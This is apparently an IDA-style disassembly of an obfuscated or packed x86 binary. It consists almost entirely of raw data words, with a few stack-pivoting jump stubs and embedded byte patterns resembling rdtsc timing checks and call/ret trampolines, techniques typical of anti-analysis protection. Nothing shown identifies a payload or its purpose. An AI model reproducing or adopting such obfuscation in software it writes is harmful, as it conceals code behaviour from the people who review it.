		dd 5B735F06h, 3804AFB0h, 311A7900h, 3E563A19h, 5C1FC52h
		dd 0BA1C058h, 0DE614A2Dh, 5E9E78FCh, 1075FD79h,	5E3FBBDCh
		dd 556D5132h, 0F29164BBh, 3977F30Bh, 2B93E0E7h,	9245127Eh
		dd 24CF07CBh, 3658654Dh, 0EFD6AFE2h, 3658A68Ah,	5172BAE2h
		dd 0CDC12F67h, 9C4382A1h, 4FFD3267h, 1EFFFFFFh,	651C3404h
		dd 701C3406h, 88D1B9DEh, 21416A4Ch, 0D28255Dh, 0E2364023h
		dd 0AE450DC5h, 0F911F89Bh, 8FDFD717h, 957FFA4Ah, 1F9EB1DDh
		dd 798CE990h, 6FE82007h, 35F7BF6Bh, 0E9E50B43h,	5E77BB6Dh
		dd 33566F16h, 0E81FE9EDh, 0A648804Ch, 92FE36AAh, 0E9CF5D3Ch
		dd 155CE81Fh, 364F8776h, 1FE9CD53h, 375B93E8h, 76B27560h
		dd 335EECF3h, 9DBED2CAh, 3850EE4Fh, 49E1h, 4D480200h, 0B35E3B42h
		dd 50E81FB7h, 0D9374F33h, 67C9ACD5h, 79E81FB8h,	0F801DDB1h
		dd 1FB8939Dh, 0D59D55E8h, 0B7D25A3Bh, 125BE81Fh, 20458C71h
		dd 0E81FB800h, 436028E0h, 0A4A8467Eh, 415C9FC8h, 3850FE83h
		dd 0FD3Dh, 675EDE00h, 3E1B3304h, 0E23588F2h, 31523EF6h
		dd 0B8DF3149h, 0D3EBDDCEh, 0E026E29Bh, 31466B54h, 3805ABC7h
		dd 0B35D755Bh, 4445EB8Eh, 0D31BE236h, 0A494F79Bh, 15E5826Ch
		dd 7C7F16FDh, 0D3E23648h, 9987E2EBh, 4FE23648h,	0A1DDF04Bh
		dd 82CAA6BFh, 2D1421CAh, 0A9477F4Eh, 2EA080A5h,	8840E236h
		dd 9FB787E4h, 602F4C71h, 0A6CAC628h, 0FA830C89h, 0FB97AF99h
		dd 35DEA7C2h, 8682E820h, 0C8B6484Bh, 1CF7BF70h,	48317E3Fh
		dd 0CEA5B2Dh, 0E1AE0DEEh, 0FB98E1A9h, 7D12F911h, 574A738Bh
		dd 0F2CD8C4Fh, 1BC405Ch, 0CEB90000h, 4B325DB6h,	0C6B7D833h
		dd 440A658Eh, 0BE88E70Ch, 173A6D86h, 806BA395h,	1EA22EFh
		dd 816AA26Eh, 0DE61EEEh, 30F095ACh, 30E82519h, 32048D92h
		dd 3B00631Ah, 8DE1ED03h, 49814926h, 7F34F430h, 6AFD3A1Bh
		dd 3678210Fh, 470FC7E2h, 0D6B5802Bh, 323ED0E8h,	4D484D5Eh
		dd 72583B42h, 6A0F365Ah, 0E81FB7A7h, 1D351AB9h,	59B7FFF3h
		dd 1FB7F438h, 0DB1E39E8h, 50FF02C2h, 0DDBE38h, 45D0000h
		dd 0E8482D34h, 47E23588h, 0BFB35D75h, 4DA3EB23h, 0C628602Ah
		dd 79A7C2FBh, 6FE23589h, 4DAECBA7h, 0ACE2358Eh,	8D9D68DCh
		dd 96D3F3B4h, 3E3BD312h, 357DE11Ah, 0B473884Ch,	0EB8105A2h
		dd 0CAA6EE26h, 6D3E0E61h, 868A649Ch, 8A0B20CEh,	26457C05h
		dd 35503C54h, 0E81FFB50h, 1033D810h, 6631A95h, 0EE0CD613h
		dd 546C5330h, 6DAB6BAh,	0E2D4B7CEh, 5B17D3AAh, 9861C68Eh
		dd 162388E4h, 0AD808475h, 0D4D142Dh, 0D2DE3078h, 0D3EBDDBEh
		dd 8BD111EAh, 0DAC668CDh, 0A2h,	3BD0E8D3h, 0C62D6554h
		dd 43A8E0A9h, 0CD265E2Ch, 4BA0D8A2h, 0C9B3311Ch, 48355AB1h
		dd 0C8B4DB30h, 44345BB0h, 7F46E70Ch, 251A161Ah,	7768CAE8h
		dd 1E02675Eh, 0C2E23589h, 3305660Ah, 0AF9FF01Bh, 4637C97h
		dd 95F21C34h, 0A5866DA5h, 0BBDEA7E8h, 0E8250CADh, 0F2957BB3h
		dd 7619F20Ah, 0C1A04E86h, 0F387D86Bh, 233ABDAEh, 0A7C8235Bh
		dd 67E3D4D7h, 54B24487h, 957B339Dh, 583FD199h, 0CBB45A72h
		dd 10F86590h, 4B46E434h, 6129DCACh, 0A47BBF8Ah,	78028DBEh
		dd 0C088EB87h, 37A6688h, 29000000h, 31045D4Eh, 0A890F719h
		dd 35197E90h, 0A794F31Dh, 14E6816Fh, 837512FCh,	0FCC2A54Bh
		dd 7C4D2AC4h, 0FECDAA44h, 680128C6h, 0
		dd 89242C89h, 4C581E5h,	83000000h, 2C8704EDh, 89535C24h
		dd 4C381E3h, 83000000h,	1C8704EBh, 34895C24h, 6D716824h
		dd 1C890000h, 4EC8324h,	0BD242C89h, 5EF83A3h, 835DEE89h
		dd 248904ECh, 24048324h, 0EC815B04h, 4,	89241489h, 85389F2h
		dd 241C8B5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5562A0
; ---------------------------------------------------------------------------
		db 70h
		dd 0DC1EE7DDh, 0EF929EB8h, 0FFC50305h, 0AEFE69E0h, 66904447h
		dd 36B23778h, 0FDDDA328h, 0C690D204h, 438D8D16h, 6A05EF94h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 89C4C355h, 0EA0ADD8Dh, 0BEBB6605h, 0CD85C7B0h
		dd 2805EA0Ah, 6A000066h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 32FEC353h, 0BB443D2Dh
		dd 0E98C4AE6h, 6, 0AA412929h, 0C68A6FA8h, 25F585C7h, 5EAh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0F8AA31C3h, 0D19653CCh, 6800FA1h,	31000000h
		dd 0EA1BA58Dh, 21BD8905h, 0FF05EA0Bh, 0EA3151B5h, 14E905h
		dd 928A0000h, 0EF6BEC7Ch, 9AFEF23Bh, 0FCD08AB5h, 0FA2CAF95h
		dd 95FF8356h, 5EA2A19h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 1FC35040h, 0C90613E3h, 890D87B5h, 0EA23198Dh
		dd 859D8905h, 8B05EA30h, 0EA2BF185h, 0FF006A05h, 0EA101595h
		dd 0EBC08B05h, 22F8C05Ah, 0DA3EB89Dh, 0CB6F128Ch, 63770545h
		dd 948FC1F5h, 961A2E02h, 0B80B6ACAh, 0DC5A87ECh, 0CFF2D273h
		dd 936EA5D4h, 0D5379631h, 0ACE29311h, 0B5CD1C2Eh, 79989A23h
		dd 0B27637A1h, 409D3A43h, 517F2E21h, 29DB313Eh,	0CA151033h
		dd 7A47DBD7h, 0AF522E0h, 4F6FD6C1h, 0E8053E3Dh,	0Eh, 684AFAB8h
		dd 57056594h, 0EF78152Eh, 9589DD2Eh, 5EA1EF1h, 0EDF6805Fh
		dd 714BC781h, 6E90000h,	96000000h, 0E6F70BF7h, 0FECABB8Eh
		dd 0EB8173DFh, 73DFE29Ah, 8B37FFF9h, 0EA0A618Dh, 0B8605805h
		dd 4AD22B16h, 81613EB2h, 53EAD0F0h, 35B58928h, 8105EA10h
		dd 0DF5EF7E8h, 0E881F816h, 115B2B95h, 1241B50Bh, 605005EAh
		dd 203D9D89h, 8B6605EAh, 78F61CFh, 83D18B66h, 0B53304EFh
		dd 5EA010Dh, 0F01EB83h,	0FFFFAC85h, 319503FFh, 0EB05EA01h
		dd 60h,	17h dup(0)
		dd 0BF6E900h, 0EAE90000h, 6800000Bh, 5EF9DD7h, 0FAE8CDE9h
		dd 9F6668FFh, 0C3E905EFh, 68FFFAE8h, 5EF9FBEh, 0FAE8B9E9h
		dd 742BADFFh, 0E095DA20h, 680D4EB4h, 0E693C63Ch, 690A48B2h
		dd 681A9B3Dh, 0E71D49EAh, 6298CC6Fh, 0E3194DF2h, 319BCF6Ah
		dd 0FC1B11A3h, 0E26E1D45h, 5EFB72BCh, 63949EF2h, 6DB411B2h
		dd 0F2CA78E9h, 45175666h, 431DB1DDh, 8DCF488Dh,	462A46EAh
		dd 0B2586EAh, 742AC90Dh, 0D1DDFA9Dh, 0B8B29A48h, 5A369A3Bh
		dd 125BA1F9h, 83F73967h, 0D9D373D0h, 9064D69Bh,	0E3175734h
		dd 563AD91Dh, 5A9C963Ah, 179E59F8h, 0DE113CDFh,	0E28FC2CAh
		dd 4600A38Eh, 0C4C532EBh, 0CC0E04A8h, 0D5670449h, 175702DFh
		dd 0CAA6CA52h, 67145A94h, 0A404A7CBh, 0FBD2CAEh, 17570335h
		dd 0D07C1088h, 56FA97DAh, 0D27E1F5Ch, 6C11428Ch, 90FACC0h
		dd 0E5BB17C6h, 57F4A72Bh, 207E4752h, 0BA8FA292h, 134DD512h
		dd 0AFFB9ADDh, 53299B01h, 0A611676Dh, 98989D3Eh, 0ECF065F0h
		dd 771BA2F7h, 419D9B29h, 88101168h, 34FB3FD6h, 27F1DFD2h
		dd 0A72E2484h, 6D075E0Ah, 0D91749E8h, 264AE695h, 62CB2085h
		dd 0E148216Eh, 45236A33h, 0B1370E05h, 33h, 48216EE8h, 89D039E1h
		dd 210A30B7h, 0F54715B6h, 1756BDFFh, 5DB4EA72h,	836A7DE7h
		dd 2D882B3Ch, 0EA6D5439h, 97DB154Bh, 0A0E247E4h, 56B6DDh
		dd 39EF0000h, 0EDC064D0h, 86254695h, 3C957C83h,	5BB9D039h
		dd 2E03AE27h, 0A489E6E1h, 73CE58E3h, 6A389BBCh,	0E4D86AF0h
		dd 57175703h, 1E166CCFh, 0A4175704h, 0A339AD04h, 56671B11h
		dd 55F66E17h, 0EA6D6A07h, 6408AF2Dh, 0B285F43Ah, 5C309C41h
		dd 6B33A30h, 0DDA000A5h, 1C421B6Eh, 0BC737DAEh,	68DA7012h
		dd 116C5194h, 4D137FE7h, 518F65D7h, 589F116Ch, 0E94AD2A5h
		dd 51493F49h, 0F9B7116Ch, 23B6428Bh, 0BFC62E24h, 68000001h
		dd 2A8633A6h, 6E40E546h, 8B114F22h, 0CA661545h,	8FE394C0h
		dd 6756562Ch, 31A91756h, 0D55E979Dh, 305CF0A7h,	6D51085Ch
		dd 0F3C97BE8h, 46175666h, 0CB1BB2DEh, 48216E62h, 236A33E1h
		dd 370E0545h, 54B1h, 37851F00h,	1456673Dh, 690E4EB0h, 66C5A9C5h
		dd 48216EC3h, 8295D816h, 6C00AC51h, 63C0AC00h, 0B18B39C6h
		dd 4175666h, 69C57AFAh,	39C06905h, 4BEA6D54h, 0E093DB15h
		dd 0CC7E204Ch, 175666F8h, 0D570D34Bh, 0FFC32AA0h, 2ECF4608h
		dd 0B619BC1Fh, 48h, 2E216EEFh, 0C8A408ADh, 0F7390DA4h
		dd 2371D285h, 56669B91h, 0CB09C717h, 77D4B814h,	2319AB39h
		dd 96175666h, 39CB620Eh, 4EED6DA3h, 51848EE2h, 0C3600CA0h
		dd 11A33966h, 1756671Bh, 7BFCF66Eh, 0F87F79DAh,	0DDA0EC45h
		dd 0ED0E226Eh, 56DCCCECh, 6CF5113Ch, 0B31C5FDCh, 0A91B81DFh
		dd 1756ABD3h, 4F1DBE26h, 56ABFBFDh, 7AD64E17h, 85CFD70h
		dd 49E86D51h, 6E62CBE0h, 0EAB2E21h, 0BA2CEA2h, 45236A33h
		dd 0B1370E05h, 39h, 9216EE8h, 0A39E5233h, 0AE076BDFh, 66B18B39h
		dd 9C041756h, 39543935h, 49E86DA3h, 5FF89E5h, 78175667h
		dd 124543E0h, 0DDA0CA63h, 63B6h, 0A0D61800h, 90335FF3h
		dd 48216E35h, 0B18B39E1h, 31175666h, 0B18B39A3h, 4175666h
		dd 6712EA9Ch, 9B651756h, 0A0CCA053h, 0DED664FEh, 51175666h
		dd 0ED90C3C9h, 2B8E2D41h, 8B39A339h, 175666B1h,	12EA9C04h
		dd 65175667h, 610C5EFDh, 0AC2DEA6Dh, 66B78D3Fh,	920A1756h
		dd 2CC92FEh, 0E38F23D0h, 0DDA0E540h, 0E7B6h, 0D039EF00h
		dd 0A56235E7h, 0EBEE4D1Fh, 2092CCA5h, 1756A944h, 89832FB7h
		dd 22CB9544h, 0A1DA30F3h, 14C70FC9h, 0DA83DB78h, 0E049E86Dh
		dd 0AA7C95CBh, 5B5227E5h, 6EE247E4h, 0F4C87A21h, 47175666h
		dd 67655FEDh, 40D81756h, 33E9402Ch, 545236Ah, 74BA370Eh
		dd 0DDD76508h, 50145666h, 5E07A4C8h, 58h, 2C3119F0h, 369A3DBFh
		dd 0CFB2775Ah, 6E42E744h, 8C164821h, 5667463Eh,	8221B917h
		dd 0B18B3927h, 2D175666h, 0FAF057C4h, 1EBDFB15h, 0A5589B65h
		dd 543960C9h, 1B11A339h, 6E175667h, 1C5355F6h, 0F739D079h
		dd 87279682h, 0F2C70A96h, 0FD5E329Eh, 2DB64B36h, 0EF000000h
		dd 1648216Eh, 0C74D74FFh, 0DC7F646Fh, 0B18B3979h, 2D175666h
		dd 6CCF6AE3h, 392B8222h, 4BEA6D54h, 0C32AA0E2h,	1856E0CFh
		dd 0E643E06Fh, 0E549E86Dh, 9ECA6DEFh, 1E40F164h, 370544F7h
		dd 1DBEA20Ch, 5AF7CBBDh, 0B73B1757h, 32A2A804h,	0CF71218Dh
		dd 4F84A9Dh, 7717575Bh,	6DD383EFh, 8435B8FFh, 3EB07ED0h
		dd 0DD6F319Dh, 17575AE7h, 83AEC25Ah, 0CAAB1D00h, 0C9CF6CE5h
		dd 3A79D584h, 0C86DE2ECh, 4AE76E64h, 71E3E9E6h,	44B0EA4Ch
		dd 310BB923h, 0F9175743h, 29B1C675h, 0A8498C8Ah, 29F405FCh
		dd 4F96C577h, 0F16912BDh, 2B99035Dh, 116D2D51h,	0E59F3CA4h
		dd 116D2D13h, 0A4B1236Dh, 2E24FED4h, 1220h, 0E86D7900h
		dd 9993E549h, 0CB175666h, 3DB00775h, 3991C89Ch,	7CD083F7h
		dd 40B5B310h, 0E5343D91h, 74F44618h, 0C712B9F3h, 0A7F20B5Fh
		dd 0E13280DEh, 0D40CCCDDh, 0A296E04Ch, 1E0B7CBAh, 0DC32450h
		dd 0EF832FCEh, 8D74044Ch, 2C802834h, 0D9000000h, 0E77D226Eh
		dd 56675F55h, 3C4AD217h, 17566748h, 114F23BBh, 46E598DFh
		dd 66BEA614h, 0A9311756h, 1BBA39F7h, 1E6E4Fh, 6E370000h
		dd 8B114F22h, 0CB671645h, 7A7E04A7h, 0E4175667h, 56F5AA2Ah
		dd 25EBB52Dh, 0A5307B6h, 1C5B6h, 256EEF00h, 9ADC124Ch
		dd 0DB7855F9h, 0B357B625h, 8D288BE7h, 4906D039h, 0A06E1943h
		dd 36A4745Dh, 15B6DAA6h, 0E86D1CB5h, 62FE1749h,	63CAEB3Fh
		dd 1A13B7ADh, 335F39B7h, 0F7393590h, 137FD37Eh,	0AF46E8B0h
		dd 0EA88A221h, 0C273E0B4h, 0CD6E026Eh, 5452368h, 55B1370Eh
		dd 0E8000000h, 124C256Eh, 51FD9EDCh, 66C7BD0Fh,	0A23A1756h
		dd 39C86DCEh, 5666B18Bh, 71E32D17h, 0E8166DCEh,	73DAB667h
		dd 0D0395439h, 451702AAh, 9096355Eh, 94A3D463h,	77DBB768h
		dd 0D1EB361Bh, 148EECD2h, 67E82678h, 0E3101AB6h, 58FD5E32h
		dd 40B6DDA0h, 0EF000000h, 0E54C256Eh, 66B18B39h, 91311756h
		dd 2CD301CFh, 97448A80h, 39FD58FBh, 0CF0E82D0h,	1B33169h
		dd 1756CF2Bh, 0C96A069Eh, 8BCF019Bh, 0A81A44E8h, 1756CED4h
		dd 70D3BF27h, 4FEE6DD5h, 39DDA0E6h, 0E0EF59D0h,	7FF3060Dh
		dd 701C70DCh, 97A0D5D3h, 721EB265h, 0A339B71Eh,	56671B11h
		dd 55F66E17h, 0D0395CF5h, 943D4C94h, 808526FEh,	3303AA7Fh
		dd 545236Ah, 2FB1370Eh,	0E8000000h, 0E148216Eh,	66B18B39h
		dd 9C041756h, 39543935h, 0FCD27ED0h, 0A8F1DC7Dh, 58D713BEh
		dd 0EAD922FEh, 0AC232586h, 0DDA0A009h, 46B6h, 216EEF00h
		dd 97D81648h, 85264AE6h, 0B18B3920h, 31175666h,	0A3393891h
		dd 66B18B39h, 0FA041756h, 0AA9C57Ah, 11A339AFh,	1756671Bh
		dd 1AA8F66Eh, 17566722h, 0A8AE0D95h, 0B2287627h, 56672C00h
		dd 0A4079F17h, 39DDA001h, 671B11A3h, 0F66E1756h, 18215355h
		dd 0F85438D9h, 5666B98Eh, 0FD145A17h, 2EE2DD6Fh, 5715B6EEh
		dd 0B1669625h, 0EF6DBCE5h, 6EEEE448h, 83CD65C9h, 550A4A51h
		dd 0E097C50Bh, 0DB83204Ch, 566FDD5Dh, 0B8C37617h, 0B6E7384Ah
		dd 93FF9340h, 0D4E26D7h, 0FE0C6C34h, 0CC2FFFFh,	0EA862ACBh
		dd 1F11EC49h, 93175667h, 1756661Dh, 5665A091h, 502FC617h
		dd 827AC853h, 0F51755F0h, 0A569406Dh
		dd 0D8A8D271h, 2A1755F9h, 1755FA56h, 55F9D8A8h,	794455D7h
		dd 0E1629527h, 0CD5552BAh, 7CF13F61h, 0CF00829Ch, 0AEC27828h
		dd 2401080Dh, 64F7C87Ah, 0D24A4CCEh, 0D1014E1h,	598820A8h
		dd 309h, 0D58136BAh, 0A1F5A82Fh, 3165185Bh, 0BFEB86CBh
		dd 32661545h, 0E9691594h, 72E41E4Ah, 0ED6F95C1h, 71E41E4Ah
		dd 0AC3E94C0h, 4604261Eh, 0BC15991Dh, 0E549E86Dh, 570675BBh
		dd 0DC83F1FBh, 31613B0h, 117D1E5Ch, 0AC53814Fh,	9C75D0Fh
		dd 0CFB516C5h, 12B9F36Dh, 2B527E9h, 1A61C2AEh, 8846DC82h
		dd 0E5DFA94Ah, 581166D0h, 0EA8633A6h, 6CC071E0h, 7DFBA300h
		dd 1166D18Bh, 0F2AC7980h, 0D0E2DA68h, 0CE7C1166h, 1166D0F6h
		dd 3EA6D149h, 937DCF9Dh, 8F0CCA5Eh, 0C20B0C41h,	0A3D87B17h
		dd 31FF653Bh, 0B6B013C2h, 0A7ADD33Fh, 0FC130C14h, 0B73EC490h
		dd 0E8C0B61Ah, 250B76AFh, 0E55709D4h, 6DA3C7Fh,	0AE346AF2h
		dd 871A281Ch, 2C00B205h, 9F05871Ah, 4BE87007h, 0C19ED719h
		dd 871A7973h, 5715CC05h, 18AD7A35h, 31650965h, 3DB182CBh
		dd 0A6261EACh, 1990586h, 0A4AD016Dh, 0CC74C955h, 0E3E32BDFh
		dd 0FD63D18Fh, 5900EA89h, 0BD40C3B0h, 9860350Fh, 3D1088FFh
		dd 1645076Fh, 0CBA7CB67h, 4FE392C1h, 63FB8023h,	0EAB3C6CFh
		dd 0A89C2EB4h, 66FF97B8h, 0AD3542EFh, 208C2FA7h, 0FBDEF4Ch
		dd 0FAFB463Dh, 78B6E870h, 0EA1044F5h, 6C1AB663h, 0F9A83A9Ch
		dd 0BAFC8891h, 0F84517F5h, 0B5075935h, 0F50B9237h, 121A538Ah
		dd 89E7E1ADh, 394049E5h, 942A452Dh, 4568ABA0h, 0DD2A6F87h
		dd 47197500h, 1E8102F5h, 0DEED75EFh, 5BD03EBh, 7A68B911h
		dd 0B000001h, 0BC4612C5h, 34CE9A3Bh, 0B84216C7h, 36CC9839h
		dd 0E54317C4h, 3FDC1E64h, 0BE5D916Bh, 33E410EAh, 0B9589D67h
		dd 67D547EDh, 1D46068Dh, 6EC56CE0h, 2B3241Bh, 0F0AEC2AEh
		dd 0B9F3E242h, 61CD5512h, 1A442168h, 0CCB0CBA8h, 95A63E0Ch
		dd 0E80EC3ACh, 2239E840h, 0D3000001h, 54AEFA9Dh, 0DC267223h
		dd 50AAFE9Fh, 0DE247021h, 0DABFF9Ch, 0D784F68Ch, 46F57983h
		dd 0CB6CE812h, 41F0659Fh, 9F2DBF15h, 1D4605A5h,	6E3D9418h
		dd 5413031Bh, 0A629EEBAh, 0BE2694CAh, 1812BA03h, 6F9BBF1h
		dd 957E887h, 6715C1BBh,	0FAC3411h, 28B2EC74h, 6DC176E6h
		dd 167D7701h, 68F01167h, 0EC616BCBh, 6AE3194Dh,	471C768Eh
		dd 0E76B94FDh, 98F49834h, 485158F4h, 50B9237Dh,	0D88F5942h
		dd 6B11B298h, 0CCAC59Dh, 7BC037F9h, 80EC40F3h, 8F2C40ECh
		dd 10C50AF4h, 0E8BCD0BCh, 6C38DD12h, 0EEB06596h, 0A2EEC674h
		dd 98410B77h, 5C9CFB35h, 0F3503C8Bh, 0A5EC05ABh, 0BFB507B8h
		dd 320B7807h, 0EF3787AAh, 0EF6264C7h, 537B4803h, 0A3110FDBh
		dd 0B77B4C9h, 0A4C8A43Ch, 2BC80AF0h, 0C055857Fh, 0DA8EE293h
		dd 590DAE20h, 0DA8E31A3h, 580CAD20h, 39CE2CA2h,	0AE069046h
		dd 0C33A6E02h, 3B1EFB6h, 6DAF835h, 408ED048h, 0A3CF6314h
		dd 23AAA000h, 0A032276h, 5A000000h, 0D184F739h,	0D1B2117Dh
		dd 34EB6D7Ch, 0BE5B9298h, 3BDC1812h, 0BA599D97h, 3DDE1C16h
		dd 0A4579B91h, 22CF0208h, 0A657848Eh, 2ECF000Ah, 8953E982h
		dd 4B951E3h, 1000000h, 0EB8359CBh, 241C8704h, 0E189515Ch
		dd 4C181h, 0E9830000h, 240C8704h, 2434895Ch, 97868h, 24148900h
		dd 0EF95C068h, 24348B05h, 6804C483h, 0EF7h, 81242489h
		dd 42404h, 685A0000h, 2995h, 8F243489h,	148B0842h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		db 0D4h
		dd 0AE97D6F9h, 5BD61584h, 51394387h, 0A105B890h, 0C50305EFh
		dd 0EDE9C38Bh, 0E9000000h, 8, 9B6C16F2h, 76204832h, 0A1F1B58Dh
		dd 0B06005EFh, 0D2B70FDEh, 61858D61h, 0F05ED7Ah, 1183h
		dd 0FB8B6000h, 8E9h, 0E15A6A00h, 0BCD6FC3Bh, 0D0FF61D8h
		dd 0CE9h, 0CEE0F600h, 0E7226ACBh, 37E6B9Dh, 7E9C389h, 0B0000000h
		dd 0D7684328h, 8C664F69h, 0C1F6F9D9h, 44840F04h, 60000000h
		dd 81D78B66h, 0A83D93E8h, 8BF9611Ch, 32CB8BFBh,	0FD75AEC0h
		dd 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h
		dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h
		dd 8B09EB00h, 0B8E4EB00h, 0
		dd 11E860CFh, 0A3000000h, 1D2F6391h, 38634CD2h,	0DA876CA2h
		dd 9D2C80Bh, 5ED9B70Fh,	14E8h, 6CA03C00h, 0B226667Dh, 58E24713h
		dd 0DEAE1156h, 0D6FBCD32h, 0F96158F1h, 1EC68160h, 6170F53Dh
		dd 0A22285C7h, 13F05EFh, 8D8D0001h, 5EFA357h, 14E8h, 7846EB00h
		dd 506E1006h, 50B568A1h, 0AC6B7BCEh, 3A4EAE01h,	68E0FFAh
		dd 23000000h, 0EA037185h, 8D895B05h, 5EA0ADDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 9CC35545h, 0CD85C73Dh
		dd 0C05EA0Ah, 66000065h, 0FC4DD381h, 25F585C7h,	5EAh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 4B6E2DC3h, 0FFB36E85h, 0EA2CBDB5h, 95BD0105h, 0FF05EA14h
		dd 0EA2A1995h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 2559C328h, 6E5095EFh
		dd 0FF006A90h, 0EA101595h, 0EBC08B05h, 6EE1018h, 90AB183Eh
		dd 2806408Ch, 63D0D7C9h, 0E8FED01Ch, 0A02996DBh, 8C8D8DD3h
		dd 6A05EFA4h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 84CEC352h, 0B70F0235h,	0DD8D89C3h
		dd 6605EA0Ah, 0C73F9CBEh, 0EA0ACD85h, 6EEC05h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 1380CE47h, 0B70F742Dh, 5D8529FBh, 0B005EA10h, 0F585C735h
		dd 5EA25h, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0DA2EC355h, 8B30C15Ch,	0ADB5FFFBh
		dd 6A05EA2Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0DB8C353h, 4845D4AFh, 0ADBD0B0Dh
		dd 0FF05EA06h, 0EA2A1995h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0A614B544h
		dd 0B2605376h, 2960489Dh, 0EA1A5DBDh, 0AE805h, 84C30000h
		dd 7F353B08h, 0D69E835Eh, 0B2D958Bh, 615905EAh,	0F2C8D681h
		dd 6A4D66h, 101595FFh, 0C08B05EAh, 2EF349EBh, 0D1910119h
		dd 0EE3D7FEAh, 0CFF61C49h, 4299AF88h, 51F4B7A8h, 98F1E345h
		dd 0E4F6A16h, 79EDA472h, 9B23846Ch, 0A435DE3Bh,	2C3B319Eh
		dd 3D253766h, 0A1672D0Ch, 0D0210A55h, 1974F04Dh, 9FEBC69Fh
		dd 0DB0B6BF8h, 0E9AA4C6Bh, 13Ch, 4Fh dup(0)
		dd 32A5BD83h, 0F0105EAh, 69F84h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 4DA7212Bh
		dd 0A8A0Fh, 0F600000h, 8Eh, 615A5200h, 4585C6F9h, 4305EA1Ah
		dd 19810Fh, 14E90000h, 0B3000000h, 1734BF7Ch, 0FA616DDFh
		dd 0E44D7C29h, 1541FA49h, 0E8198781h, 4, 0ECA5D0F5h, 0DE9h
		dd 16F0800h, 0C65BA70Fh, 6612ED9Fh, 0F501D0Dh, 1782h, 12E900h
		dd 915E0000h, 1B01C310h, 59041403h, 68393860h, 0A7E88A7Dh
		dd 424448Bh, 8A0F5250h,	6, 310F5250h, 310F585Ah, 880F5250h
		dd 0
		dd 0EE9310Fh, 0CF000000h, 818377A5h, 7AA451E5h,	7808FBAFh
		dd 5A585A68h, 60008B58h, 9E9h, 9D141A00h, 0C571088Ah, 10E9D935h
		dd 0B9000000h, 0AE06DE5Ah, 38B10A45h, 73D00770h, 61702906h
		dd 4244489h, 17BB6660h,	13E845h, 0BF5B0000h, 0CA10221Dh
		dd 7C48DE44h, 0DB12A062h, 79658070h, 12E834h, 0B8270000h
		dd 646C59C8h, 0D4E7031Ch, 0F30223DDh, 0A7C30E0Eh, 5861595Eh
		dd 8DB5FFF5h, 0F05EA23h, 148Dh,	0FE900h, 490000h, 48CFB635h
		dd 4A0A94B7h, 0BC231718h, 0A0858D97h, 6A05EDAFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0B1D6C352h, 950667ACh, 0DE951B1h, 16000000h,	615AEACAh
		dd 7C5033E9h, 0C816B62Ah, 1E8E0Fh, 0E8600000h, 13h, 0F70ADBFCh
		dd 8EA803CFh, 0E6437EABh, 8FBABF42h, 5BBAED77h,	61DE8B66h
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0DB4C2AC3h, 1E7B33BAh, 8E0FD488h,	7, 1810Fh
		dd 0FF80000h, 0E8Dh, 61606000h,	5E9h, 5EAA6700h, 89616AC0h
		dd 0EA1B4585h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 85C6F875h, 5EA1A45h, 56006A50h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0F4883F0h, 178Ch, 11890F00h,	0E9000000h, 0Ch, 633D792h
		dd 0D8DB3AE9h, 0EDD31268h, 4E8h, 0ADAD5600h, 11E9A8h, 0E1990000h
		dd 7EDF2B8h, 0A45EE647h, 285BC109h, 50204444h, 617FB260h
		dd 424448Bh, 61616060h,	5250008Bh, 0FE9h, 0B7F10800h, 0C16F4817h
		dd 0C8219241h, 42EC0518h, 880F310Fh, 6,	310F5250h, 585A585Ah
		dd 4244489h, 10E9h, 0FFF1C000h,	8B0F35CBh, 9263FBCh, 4DC455E3h
		dd 6660589Ch, 10E9D88Bh, 1A000000h, 0EB87F351h,	548CC48Eh
		dd 95C304D6h, 61FE7ECCh, 238DB5FFh, 8D0F05EAh, 0Bh, 6E9h
		dd 901FEA00h, 8D4BFB90h, 0EDAFA085h, 0BF0F6005h, 10E8D2h
		dd 3150000h, 0CF39A92Eh, 0DA85EF15h, 89F61E81h,	11E99B6Dh
		dd 0D3000000h, 2CE70B87h, 0AD12EA72h, 0D77C8B4Fh, 3D931AEDh
		dd 0D0FF615Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
